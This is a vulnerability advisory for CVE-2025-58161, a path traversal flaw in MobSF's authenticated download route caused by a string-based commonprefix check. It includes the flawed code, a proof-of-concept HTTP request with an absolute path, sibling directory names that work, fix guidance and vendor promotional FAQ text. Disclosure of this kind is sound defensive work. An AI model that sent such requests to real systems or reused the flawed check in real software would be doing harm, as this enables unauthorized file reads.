CVE-2025-58161

The GET /download/ route uses string path verification via os.path.commonprefix, which allows an authenticated user to download files outside the DWD_DIR download directory from "neighboring" directories whose absolute paths begin with the same prefix as DWD_DIR (e.g., .../downloads_bak, .../downloads.old). This is a Directory Traversal (escape) leading to a data leak.

Details

def is_safe_path(safe_root, check_path):
    safe_root  = os.path.realpath(os.path.normpath(safe_root))
    check_path = os.path.realpath(os.path.normpath(check_path))
    return os.path.commonprefix([check_path, safe_root]) == safe_root

commonprefix compares raw strings, not path components. For:

safe_root  = /home/mobsf/.MobSF/downloads
check_path = /home/mobsf/.MobSF/downloads_bak/test.txt

the function returns True, incorrectly treating downloads_bak as inside downloads.
Download handler:

# MobSF/views/home.py
@login_required
def download(request):
    root = settings.DWD_DIR
    filename = request.path.replace('/download/', '', 1)
    dwd_file = Path(root) / filename  # absolute 'filename' ignores 'root'
    if '../' in filename or not is_safe_path(root, dwd_file):
        return HttpResponseForbidden(...)
    ext = dwd_file.suffix
    if ext in settings.ALLOWED_EXTENSIONS and dwd_file.is_file():
        return file_download(dwd_file, ...)

If the client supplies an absolute path in filename (starts with / or C:/), Path(root) / filename resolves to that absolute path; the flawed is_safe_path then accepts any sibling directory whose absolute path shares the same string prefix. The ../ check does not catch this.

Which file types are retrievable: Whatever is allowed by settings.ALLOWED_EXTENSIONS

PoC

Prereqs: authenticated user; standard install.
Assume:

settings.DWD_DIR = /home/mobsf/.MobSF/downloads

Prepare a sibling directory with the same string prefix and a test file:

mkdir -p /home/mobsf/.MobSF/downloads_bak
echo "test" > /home/mobsf/.MobSF/downloads_bak/test.txt

As an authenticated user, request (note the leading / in the filename and the double/triple slash after /download/ to preserve it):

GET /download///home/mobsf/.MobSF/downloads_bak/test.txt HTTP/1.1
Host: <HOST>
Cookie: sessionid=<YOUR_SESSION>

Other working sibling directory names (if present):

…/downloads.old/...
…/downloads_backup/...
…/downloads1/...
…/downloads-archive/...
…/downloads 2024/... (URL-encoded space: downloads%202024)

Any authenticated user can download files (with allowed extensions) from sibling directories whose absolute paths start with the same string prefix as DWD_DIR.

Input manipulates file paths to reach files outside the intended directory, such as configuration or credential files. Typical impact: unauthorized file read or write outside the intended directory.

Kodem intelligence

1. What is CVE-2025-58161? CVE-2025-58161 is a low-severity path traversal vulnerability in mobsf (pip), affecting versions <= 4.4.0. It is fixed in 4.4.1. Input manipulates file paths to reach files outside the intended directory, such as configuration or credential files.
2. Which versions of mobsf are affected by CVE-2025-58161? mobsf (pip) versions <= 4.4.0 is affected.
3. Is there a fix for CVE-2025-58161? Yes. CVE-2025-58161 is fixed in 4.4.1. Upgrade to this version or later.
4. Is CVE-2025-58161 exploitable, and should I be worried? Whether CVE-2025-58161 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
5. What actually determines whether CVE-2025-58161 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
6. How do I fix CVE-2025-58161? Upgrade mobsf to 4.4.1 or later.